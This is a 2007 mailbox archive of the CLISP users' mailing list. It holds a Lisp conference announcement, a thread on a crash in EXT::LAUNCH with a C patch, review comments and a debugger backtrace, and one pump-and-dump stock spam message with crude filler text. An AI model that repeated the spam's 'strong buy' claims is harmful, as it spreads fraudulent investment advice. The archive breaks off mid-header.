100% risk free. -- hkmgmumsllllipmjmflolukrmgmmlrkjkhfrkfjqkfkjjjjsjujkkojqjnffjgkkjk From pc@p-cos.net Wed Feb 21 06:41:41 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HJsf2-0001OD-LG for clisp-list@lists.sourceforge.net; Wed, 21 Feb 2007 06:41:40 -0800 Received: from dorado.vub.ac.be ([134.184.129.10]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HJsf1-0001hI-IH for clisp-list@lists.sourceforge.net; Wed, 21 Feb 2007 06:41:36 -0800 Received: from prog2.vub.ac.be (prog2.vub.ac.be [134.184.43.10]) by dorado.vub.ac.be (Postfix) with ESMTP id C736CB74 for ; Wed, 21 Feb 2007 15:41:29 +0100 (CET) Received: from [134.184.43.64] (progpc14.vub.ac.be [134.184.43.64]) by prog2.vub.ac.be (Postfix) with ESMTP id B923628758F for ; Wed, 21 Feb 2007 15:39:19 +0100 (CET) Mime-Version: 1.0 (Apple Message framework v752.2) Content-Transfer-Encoding: 7bit Message-Id: <1E393AE8-7234-4524-A4CA-36B634D8E004@p-cos.net> Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net From: Pascal Costanza Date: Wed, 21 Feb 2007 15:41:28 +0100 X-Mailer: Apple Mail (2.752.2) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Call for Participation: ILC'07 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 21 Feb 2007 14:41:41 -0000 +--------------------------------------------------------------------+ | | | Call for Participation | | | | INTERNATIONAL LISP CONFERENCE 2007 | | | | http://www.international-lisp-conference.org | | | | Clare College, Cambridge, England - April 1-4, 2007 | | | +--------------------------------------------------------------------+ In cooperation with ACM SIGPLAN Sponsored by The Association of Lisp Users General Information: The Association of Lisp Users is pleased to announce the 2007 International Lisp Conference will be held in Cambridge, England at Clare College from April 1st to 4th, 2007. This year's program consists of tutorials at beginners' and advanced levels, prominent invited speakers from the Lisp and Scheme communities, an excellent technical session, tours of Central Cambridge, Anglesey Abbey and Ely, and a quintessential English experience: a traditional dinner served in the college's Great Hall. The advance registration deadline is March 11th. The ILC'07 programming contest is also still running until March 3rd. For more details, see http://www.international-lisp-conference.org/2007/contest Schedule: http://www.international-lisp-conference.org/2007/schedule Saturday, March 31st Optional tour of Cambridge http://www.international-lisp-conference.org/2007/tours#city Sunday, April 1st Tutorials and workshops http://www.international-lisp-conference.org/2007/tutorials - Ernst van Waning, Extended Tutorial: Common Lisp in One Day - Pascal Costanza, Context-oriented Programming in Common Lisp - Richard Brooksby, Improve your Lisp using the Memory Pool System - Duane Rettig, Optimizing and Debugging Programs in Allegro CL Monday, April 2nd Invited presentations http://www.international-lisp-conference.org/2007/speakers - Christian Queinnec, Teaching CS to undergraduates at UPMC - Michael Sperber, It's All about Being Right: Lessons from the R6RS Process - Herbert Stoyan, Lisp: Themes and History Presentations of accepted papers Tuesday, April 3rd Invited presentations - Jans Aasman, Scalable Lisp Applications - Ralf Moeller, Building a Commercial OWL Reasoner with Lisp - Manuel Serrano, HOP: An Environment for Developing Web 2.0 Applications Presentations of accepted papers Annual meeting of the Association of Lisp Users Conference banquet Wednesday, April 4th Invited presentations - Richard Jones, Dynamic Memory Management - John Mallery, Lisp/CL-HTTP Presentations of accepted papers Thursday, April 5th Optional tour of Anglesey Abbey and Ely http://www.international-lisp-conference.org/2007/tours#ely Conference Registration: Conference registration is now open. Simply visit http://international-lisp-conference.org/2007/registration The advance registration deadline is March 11th. You can get further discounts as an ACM/SIGPLAN and/or ALU member. Registration includes: access to all events, morning and afternoon teas / coffees, self-service lunch, banquet (Tuesday April 3rd), proceedings and hopefully a conference t-shirt. Accomodation is available in Clare College's "Memorial Court". http://international-lisp-conference.org/2007/venue#accomodation Credit cards and PayPal are accepted, as are cheques (sterling or US dollars) and international bank transfers. Organizing Committee: Co-Chairs: Carl Shapiro (SRI International) Pascal Costanza (Vrije Universiteit Brussel) Members: Rusty Johnson (ALU) Peter Lindahl (ALU) Program Chair: JonL White (The Ginger Ice Cream Factory / ALU) Contact: ilc07-program-committee at alu.org Local chair: Nick Levine (Ravenbrook / ALU) General correspondence: ilc07-organizing-committee at alu.org Mailing Lists: General conference announcements are made on a very occasional basis to the low-volume mailing list ilc07-announce. http://www.alu.org/mailman/listinfo/ilc07-announce If you're thinking of participating in ILC 2007, you should either join this list or take an occasional look at the archives. http://www.alu.org/pipermail/ilc07-announce -- Pascal Costanza, mailto:pc@p-cos.net, http://p-cos.net Vrije Universiteit Brussel, Programming Technology Lab Pleinlaan 2, B-1050 Brussel, Belgium From marco.gidde@tiscali.de Wed Feb 21 23:49:25 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HK8hg-0006mN-V4 for clisp-list@lists.sourceforge.net; Wed, 21 Feb 2007 23:49:25 -0800 Received: from smtp10.unit.tiscali.de ([213.205.33.46]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HK8he-0003JA-7G for clisp-list@lists.sourceforge.net; Wed, 21 Feb 2007 23:49:24 -0800 Received: from tristan.br-automation.com (213.54.31.122) by smtp10.unit.tiscali.de (7.3.121) id 45D417A2000F7040 for clisp-list@lists.sourceforge.net; Thu, 22 Feb 2007 08:49:15 +0100 To: clisp-list@lists.sourceforge.net From: Marco Gidde Date: Thu, 22 Feb 2007 08:49:12 +0100 Message-ID: <87wt2aaayv.fsf@tristan.br-automation.com> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/22.0.93 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] EXT::LAUNCH crash X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 Feb 2007 07:49:25 -0000 Hi, EXT::LAUNCH seems to be the only way to read stdout *and* stderr of an external program, so I tried it with CLISP 2.38 and it worked nicely. I did not update CLISP for quite a while but recently updated SuSE, got version 2.39 and found that LAUNCH crashed the interpreter. The same happend with the current CVS version (2.41). Debugging of the CLISP sources revealed some strange STACK behaviour in stream.d:mkops_from_handles which I was able to fix with the included patch at the end of this mail. Some comments concerning this patch would be very appreciated since it was more wild guessing and fixing by analogy than anything else. From my C perspective the code should be equivalent, but it makes (at least here) a huge difference. Btw. I wasn't able to build a GC-safety checking version of CLISP as described in http://clisp.cons.org/impnotes/gc-safety.html. The built lisp.run executable which is used to compile the lisp sources immediately crashed with SIGSEGV. (Sorry, but I did not save the stack backtrace) clisp --version: > GNU CLISP 2.41 (2006-10-13) (built 3381077956) (memory 3381078242) > Software: GNU-C 4.1.2 20061115 (prerelease) (SUSE Linux) > gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O -DUNICODE -DDYNAMIC_FFI -I. -L/home/local/lib -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -L/home/local/lib -lsigsegv -lc -R/home/local/lib -L/usr/lib64 > SAFETY=0 TYPECODES WIDE GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY > libsigsegv 2.2 > libreadline 5.1 > Features: > (READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER > SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX) > C Modules: (clisp i18n syscalls regexp readline) > Installation directory: /home/local/lib/clisp-2.41/ > User language: ENGLISH > Machine: X86_64 (X86_64) tristan.br-automation.com [127.0.0.2] Regards, Marco Index: src/stream.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/stream.d,v retrieving revision 1.576 diff -u -3 -p -a -u -r1.576 stream.d --- src/stream.d 6 Feb 2007 03:24:48 -0000 1.576 +++ src/stream.d 21 Feb 2007 20:44:48 -0000 @@ -13043,18 +13043,19 @@ global maygc void mkops_from_handles (Ha # Check and canonicalize the :EXTERNAL-FORMAT argument: STACK_2 = test_external_format_arg(STACK_2); STACK_0 = allocate_handle(opipe); + var object stream; if (buffered > 0) { - pushSTACK(make_buffered_stream(strmtype_pipe_out,DIRECTION_OUTPUT, - &eltype,false,false)); - BufferedPipeStream_init(STACK_0); + stream = make_buffered_stream(strmtype_pipe_out,DIRECTION_OUTPUT, + &eltype,false,false); + BufferedPipeStream_init(stream); } else { - pushSTACK(make_unbuffered_stream(strmtype_pipe_out,DIRECTION_OUTPUT, - &eltype,false,false)); - UnbufferedPipeStream_output_init(STACK_0); - } - ChannelStreamLow_close(STACK_0) = &low_close_pipe; - TheStream(STACK_0)->strm_pipe_pid = UL_to_I(process_id); - add_to_open_streams(STACK_0); /* return stream */ + stream = make_unbuffered_stream(strmtype_pipe_out,DIRECTION_OUTPUT, + &eltype,false,false); + UnbufferedPipeStream_output_init(stream); + } + ChannelStreamLow_close(stream) = &low_close_pipe; + TheStream(stream)->strm_pipe_pid = UL_to_I(process_id); + pushSTACK(add_to_open_streams(stream)); /* return stream */ } /* mkips_from_handles(pipe,process_id) @@ -13077,18 +13078,19 @@ global maygc void mkips_from_handles (Ha # Check and canonicalize the :EXTERNAL-FORMAT argument: STACK_2 = test_external_format_arg(STACK_2); STACK_0 = allocate_handle(ipipe); + var object stream; if (buffered >= 0) { - pushSTACK(make_buffered_stream(strmtype_pipe_in,DIRECTION_INPUT, - &eltype,false,false)); - BufferedPipeStream_init(STACK_0); + stream = make_buffered_stream(strmtype_pipe_in,DIRECTION_INPUT, + &eltype,false,false); + BufferedPipeStream_init(stream); } else { - pushSTACK(make_unbuffered_stream(strmtype_pipe_in,DIRECTION_INPUT, - &eltype,false,false)); - UnbufferedPipeStream_input_init(STACK_0); - } - ChannelStreamLow_close(STACK_0) = &low_close_pipe; - TheStream(STACK_0)->strm_pipe_pid = UL_to_I(process_id); - add_to_open_streams(STACK_0); /* return stream */ + stream = make_unbuffered_stream(strmtype_pipe_in,DIRECTION_INPUT, + &eltype,false,false); + UnbufferedPipeStream_input_init(stream); + } + ChannelStreamLow_close(stream) = &low_close_pipe; + TheStream(stream)->strm_pipe_pid = UL_to_I(process_id); + pushSTACK(add_to_open_streams(stream)); /* return stream */ } From sds@gnu.org Thu Feb 22 06:51:23 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HKFHo-0006Z1-J0 for clisp-list@lists.sourceforge.net; Thu, 22 Feb 2007 06:51:14 -0800 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HKFHj-0007eb-MD for clisp-list@lists.sourceforge.net; Thu, 22 Feb 2007 06:51:05 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD-9.10) id ADCD01A4; Thu, 22 Feb 2007 09:50:53 -0500 Message-ID: <45DDADCD.6050301@gnu.org> Date: Thu, 22 Feb 2007 09:50:53 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.8 (X11/20061107) MIME-Version: 1.0 To: Marco Gidde References: <87wt2aaayv.fsf@tristan.br-automation.com> In-Reply-To: <87wt2aaayv.fsf@tristan.br-automation.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] EXT::LAUNCH crash X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 Feb 2007 14:51:23 -0000 Hi, Marco Gidde wrote: > > EXT::LAUNCH seems to be the only way to read stdout *and* stderr of an > external program, so I tried it with CLISP 2.38 and it worked > nicely. I did not update CLISP for quite a while but recently updated > SuSE, got version 2.39 and found that LAUNCH crashed the > interpreter. The same happend with the current CVS version (2.41). could you please supply a stand-alone test case? > Debugging of the CLISP sources revealed some strange STACK behaviour > in stream.d:mkops_from_handles which I was able to fix with the > included patch at the end of this mail. could you please be more specific? what was strange? > Btw. I wasn't able to build a GC-safety checking version of CLISP as > described in http://clisp.cons.org/impnotes/gc-safety.html. The built WFM. > lisp.run executable which is used to compile the lisp sources > immediately crashed with SIGSEGV. could you please debug it? > diff -u -3 -p -a -u -r1.576 stream.d > --- src/stream.d 6 Feb 2007 03:24:48 -0000 1.576 > +++ src/stream.d 21 Feb 2007 20:44:48 -0000 > - TheStream(STACK_0)->strm_pipe_pid = UL_to_I(process_id); > - add_to_open_streams(STACK_0); /* return stream */ > + TheStream(stream)->strm_pipe_pid = UL_to_I(process_id); > + pushSTACK(add_to_open_streams(stream)); /* return stream */ you cannot do this. 1. UL_to_I maygc ==> RHS must be GC-safe. 2. add_to_open_streams plays with STACK, so it cannot be mixed with pushSTACK in the same statement. From marco.gidde@tiscali.de Thu Feb 22 09:30:08 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HKHlf-0008Fp-OP for clisp-list@lists.sourceforge.net; Thu, 22 Feb 2007 09:30:07 -0800 Received: from smtp11.unit.tiscali.de ([213.205.33.47]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HKHlc-0000p5-Uy for clisp-list@lists.sourceforge.net; Thu, 22 Feb 2007 09:30:07 -0800 Received: from tristan.br-automation.com (213.54.31.122) by smtp11.unit.tiscali.de (7.3.121) id 45D44FC30010A41B for clisp-list@lists.sourceforge.net; Thu, 22 Feb 2007 18:29:51 +0100 To: clisp-list@lists.sourceforge.net References: <87wt2aaayv.fsf@tristan.br-automation.com> <45DDADCD.6050301@gnu.org> From: Marco Gidde Date: Thu, 22 Feb 2007 18:29:49 +0100 In-Reply-To: <45DDADCD.6050301@gnu.org> (Sam Steingold's message of "Thu, 22 Feb 2007 09:50:53 -0500") Message-ID: <87ps8285iq.fsf@tristan.br-automation.com> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/22.0.93 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] EXT::LAUNCH crash X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 Feb 2007 17:30:08 -0000 Sam Steingold writes: > Marco Gidde wrote: >> EXT::LAUNCH seems to be the only way to read stdout *and* stderr of >> an >> external program, so I tried it with CLISP 2.38 and it worked >> nicely. I did not update CLISP for quite a while but recently updated >> SuSE, got version 2.39 and found that LAUNCH crashed the >> interpreter. The same happend with the current CVS version (2.41). > > could you please supply a stand-alone test case? [1]> (ext::launch "ls" :output :pipe) 21024 ; NIL ; # ; NIL [2]> (con segmentation fault Instead of an encoding a stream should be returned. After that CLISP is completely mixed up and crashes when trying to get the tab expansion of CON (or anything else). >> Debugging of the CLISP sources revealed some strange STACK behaviour >> in stream.d:mkops_from_handles which I was able to fix with the >> included patch at the end of this mail. > > could you please be more specific? what was strange? The relevant code in stream.d lookes like this: local maygc object make_buffered_stream (uintB type, direction_t direction, const decoded_el_t* eltype, bool handle_regular, bool handle_blockpositioning) { ... # allocate Stream: var object stream = allocate_stream(flags,type,strm_channel_len,xlen); ... skipSTACK(1); return stream; } global maygc void mk[io]ps_from_handles (Handle opipe, int process_id) { ... if (buffered > 0) { pushSTACK(make_buffered_stream(strmtype_pipe_out,DIRECTION_OUTPUT, &eltype,false,false)); BufferedPipeStream_init(STACK_0); } else { ... } make_buffered_stream reads three elements from STACK and returns the stream object. mk[io]ps_from_handles should push this stream on STACK but pushes something else (UNBOUND or the ENCODING above). >> Btw. I wasn't able to build a GC-safety checking version of CLISP as >> described in http://clisp.cons.org/impnotes/gc-safety.html. The built > > WFM. > >> lisp.run executable which is used to compile the lisp sources >> immediately crashed with SIGSEGV. > > could you please debug it? If I find some time. Right now I'm not so keen on it. >> diff -u -3 -p -a -u -r1.576 stream.d >> --- src/stream.d 6 Feb 2007 03:24:48 -0000 1.576 >> +++ src/stream.d 21 Feb 2007 20:44:48 -0000 >> - TheStream(STACK_0)->strm_pipe_pid = UL_to_I(process_id); >> - add_to_open_streams(STACK_0); /* return stream */ >> + TheStream(stream)->strm_pipe_pid = UL_to_I(process_id); >> + pushSTACK(add_to_open_streams(stream)); /* return stream */ > > you cannot do this. > 1. UL_to_I maygc ==> RHS must be GC-safe. Do you mean LHS? If not, what is not GC-safe on the RHS? > 2. add_to_open_streams plays with STACK, so it cannot be mixed with > pushSTACK in the same statement. So 2. also applies to the pushSTACK(make_buffered_stream(...)) statements in mk[io]ps_from_handles? Is there some more verbose explanation of what is allowed and what isn't than impnotes/gc-safety.html? Regards, Marco From sds@gnu.org Thu Feb 22 13:43:28 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HKLip-000295-GB for clisp-list@lists.sourceforge.net; Thu, 22 Feb 2007 13:43:28 -0800 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HKLii-0000rX-UG for clisp-list@lists.sourceforge.net; Thu, 22 Feb 2007 13:43:27 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD-9.10) id A25D0304; Thu, 22 Feb 2007 15:51:41 -0500 Message-ID: <45DE025D.1060400@gnu.org> Date: Thu, 22 Feb 2007 15:51:41 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.8 (X11/20061107) MIME-Version: 1.0 To: Marco Gidde References: <87wt2aaayv.fsf@tristan.br-automation.com> <45DDADCD.6050301@gnu.org> <87ps8285iq.fsf@tristan.br-automation.com> In-Reply-To: <87ps8285iq.fsf@tristan.br-automation.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] EXT::LAUNCH crash X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 Feb 2007 21:43:28 -0000 Marco Gidde wrote: > > [1]> (ext::launch "ls" :output :pipe) > 21024 ; > NIL ; > # ; > NIL > [2]> (con segmentation fault > > Instead of an encoding a stream should be returned. After that CLISP > is completely mixed up and crashes when trying to get the tab > expansion of CON (or anything else). should be fixed in the CVS head, thanks. http://sourceforge.net/tracker/index.php?func=detail&aid=1666509&group_id=1355&atid=101355 > So 2. also applies to the pushSTACK(make_buffered_stream(...)) > statements in mk[io]ps_from_handles? Is there some more verbose > explanation of what is allowed and what isn't than > impnotes/gc-safety.html? http://clisp.podval.org/impnotes/gc-safety.html#gc-lisp-in-C From marco.gidde@tiscali.de Thu Feb 22 15:34:04 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HKNRs-0005qg-LY for clisp-list@lists.sourceforge.net; Thu, 22 Feb 2007 15:34:04 -0800 Received: from smtp11.unit.tiscali.de ([213.205.33.47]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HKNRp-0006KB-GA for clisp-list@lists.sourceforge.net; Thu, 22 Feb 2007 15:34:04 -0800 Received: from tristan.br-automation.com (213.54.31.122) by smtp11.unit.tiscali.de (7.3.121) id 45D44FC3001133A7 for clisp-list@lists.sourceforge.net; Fri, 23 Feb 2007 00:33:55 +0100 To: clisp-list@lists.sourceforge.net References: <87wt2aaayv.fsf@tristan.br-automation.com> <45DDADCD.6050301@gnu.org> <87ps8285iq.fsf@tristan.br-automation.com> <45DE025D.1060400@gnu.org> From: Marco Gidde Date: Fri, 23 Feb 2007 00:33:53 +0100 In-Reply-To: <45DE025D.1060400@gnu.org> (Sam Steingold's message of "Thu, 22 Feb 2007 15:51:41 -0500") Message-ID: <87hctd938e.fsf@tristan.br-automation.com> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/22.0.93 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] EXT::LAUNCH crash X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 Feb 2007 23:34:05 -0000 Sam Steingold writes: > should be fixed in the CVS head, thanks. > http://sourceforge.net/tracker/index.php?func=detail&aid=1666509&group_id=1355&atid=101355 It works now. Thanks! >> So 2. also applies to the pushSTACK(make_buffered_stream(...)) >> statements in mk[io]ps_from_handles? Is there some more verbose >> explanation of what is allowed and what isn't than >> impnotes/gc-safety.html? > > http://clisp.podval.org/impnotes/gc-safety.html#gc-lisp-in-C :-) From Josh.Lappalainen@clal-1.co.il Fri Feb 23 07:06:24 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HKc08-0005JU-H0 for clisp-list@lists.sourceforge.net; Fri, 23 Feb 2007 07:06:24 -0800 Received: from [89.114.52.105] (helo=[89.114.52.105]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HKc07-0001UF-MV for clisp-list@lists.sourceforge.net; Fri, 23 Feb 2007 07:06:24 -0800 Received: from ([176.138.96.72]) by (8.13.4/8.13.4) with SMTP id 391B294B15C52B; Fri, 23 Mar 2007 17:06:28 +0200 X-Mailer: QUALCOMM Windows Eudora Version 7.1.0.9 To: clisp-list@lists.sourceforge.net From: "Josh Lappalainen" Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Message-ID: X-Spam-Score: 0.6 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 3.4 STRONG_BUY BODY: Tells you about a strong buy Subject: [clisp-list] Category X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Date: Fri, 23 Feb 2007 15:06:25 -0000 X-Original-Date: Fri, 23 Mar 2007 17:06:10 +0200 X-List-Received-Date: Fri, 23 Feb 2007 15:06:25 -0000 Follow, losers around they provide, much excitement my, did. Would think millions years drooling, over, tits and! Would, think millions years drooling over, tits. Over tits and ass clue? Over tits and ass. Had record year, but went, ruined everything by! Follow losers, around they provide much excitement. Would, think, millions years drooling over tits! Tuesday, january salma hayek beyonce. LOM LOGISTICS INC (Other OTC:LOMJ.PK) Last Trade: $1.15 Target: $3 Momemtum: Strong Buy NEWS: LOM Logistics Prepares Webcast Demonstration Due to the Increasing Interest Received for Its Live Negotiating Technology WATCH L O M J !!! New lara croftonce again, brad pitt dated johansson sexiest. Tunacarmen hurleyelle berr yheather klumhilary duffhilary. Croftonce again brad pitt. Year but went ruined, everything. Ultrasexy, believe it or. Onto scene, was hot. Visit haiti your ad here. Bonkers up jennifer visit haiti your ad here! Bad at, all only can smudge fact. Entering famed ultrasexy believe. Pictures tuesday january salma hayek. Lara croftonce, again brad pitt! Provide much excitement my did after three dating first. Prefer less more, approach you, would think millions years. Hot kleenex had record year but. Going learn men prefer less more approach you would. Our favorite even with their dresses nothing sexually. Our favorite even with their dresses, nothing sexually them. August july june may april adriana jolieanna. From marco.gidde@tiscali.de Fri Feb 23 11:51:31 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HKgS2-0004mu-5i for clisp-list@lists.sourceforge.net; Fri, 23 Feb 2007 11:51:31 -0800 Received: from smtp10.unit.tiscali.de ([213.205.33.46]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HKgRy-00086L-FV for clisp-list@lists.sourceforge.net; Fri, 23 Feb 2007 11:51:30 -0800 Received: from tristan.br-automation.com (213.54.60.88) by smtp10.unit.tiscali.de (7.3.121) id 45D417A20012E635 for clisp-list@lists.sourceforge.net; Fri, 23 Feb 2007 20:51:17 +0100 To: clisp-list@lists.sourceforge.net References: <87wt2aaayv.fsf@tristan.br-automation.com> <45DDADCD.6050301@gnu.org> From: Marco Gidde Date: Fri, 23 Feb 2007 20:51:15 +0100 In-Reply-To: <45DDADCD.6050301@gnu.org> (Sam Steingold's message of "Thu, 22 Feb 2007 09:50:53 -0500") Message-ID: <87odnk64b0.fsf@tristan.br-automation.com> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/22.0.93 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] EXT::LAUNCH crash X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 Feb 2007 19:51:31 -0000 Sam Steingold writes: >> Btw. I wasn't able to build a GC-safety checking version of CLISP as >> described in http://clisp.cons.org/impnotes/gc-safety.html. The built > > WFM. > >> lisp.run executable which is used to compile the lisp sources >> immediately crashed with SIGSEGV. > > could you please debug it? The crash happens quite early: ... (gdb) show args Argument list to give program being debugged when it is started is "-B . -E 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc -m 1800KW". (gdb) bt #0 0x0000000000815eac in with_gc_statistics (fun=0x442940 ) at lispbibl.d:4179 #1 0x0000000000405048 in gar_col_simple () at spvw_garcol.d:2405 #2 0x000000000040e5c7 in make_space_gc_true (need=72, heapptr=0xbe5a08) at spvw_allocate.d:219 #3 0x0000000000411285 in allocate_vector (len=7) at spvw_typealloc.d:89 #4 0x00000000004112b3 in init_subr_tab_2 () at subrkw.d:7 #5 0x00000000004286f7 in initmem () at spvw.d:1497 #6 0x000000000043f66c in init_memory (p=0xbe6ab0) at spvw.d:2928 #7 0x000000000044709e in main (argc=, argv=0x7fff9d293be8) at spvw.d:3268 (gdb) p inside_gc $5 = false Feel free to ask for more details if necessary. Regards, Marco From sds@gnu.org Fri Feb 23 12:09:32 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HKgjT-0006cs-TD for clisp-list@lists.sourceforge.net; Fri, 23 Feb 2007 12:09:32 -0800 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HKgjR-0005UI-5g for clisp-list@lists.sourceforge.net; Fri, 23 Feb 2007 12:09:31 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD-9.10) id A9F101C8; Fri, 23 Feb 2007 15:09:21 -0500 Message-ID: <45DF49F1.7070602@gnu.org> Date: Fri, 23 Feb 2007 15:09:21 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.8 (X11/20061107) MIME-Version: 1.0 To: Marco Gidde References: <87wt2aaayv.fsf@tristan.br-automation.com> <45DDADCD.6050301@gnu.org> <87odnk64b0.fsf@tristan.br-automation.com> In-Reply-To: <87odnk64b0.fsf@tristan.br-automation.com> Content-Type: text/plain; charset=ISO-8859-1; 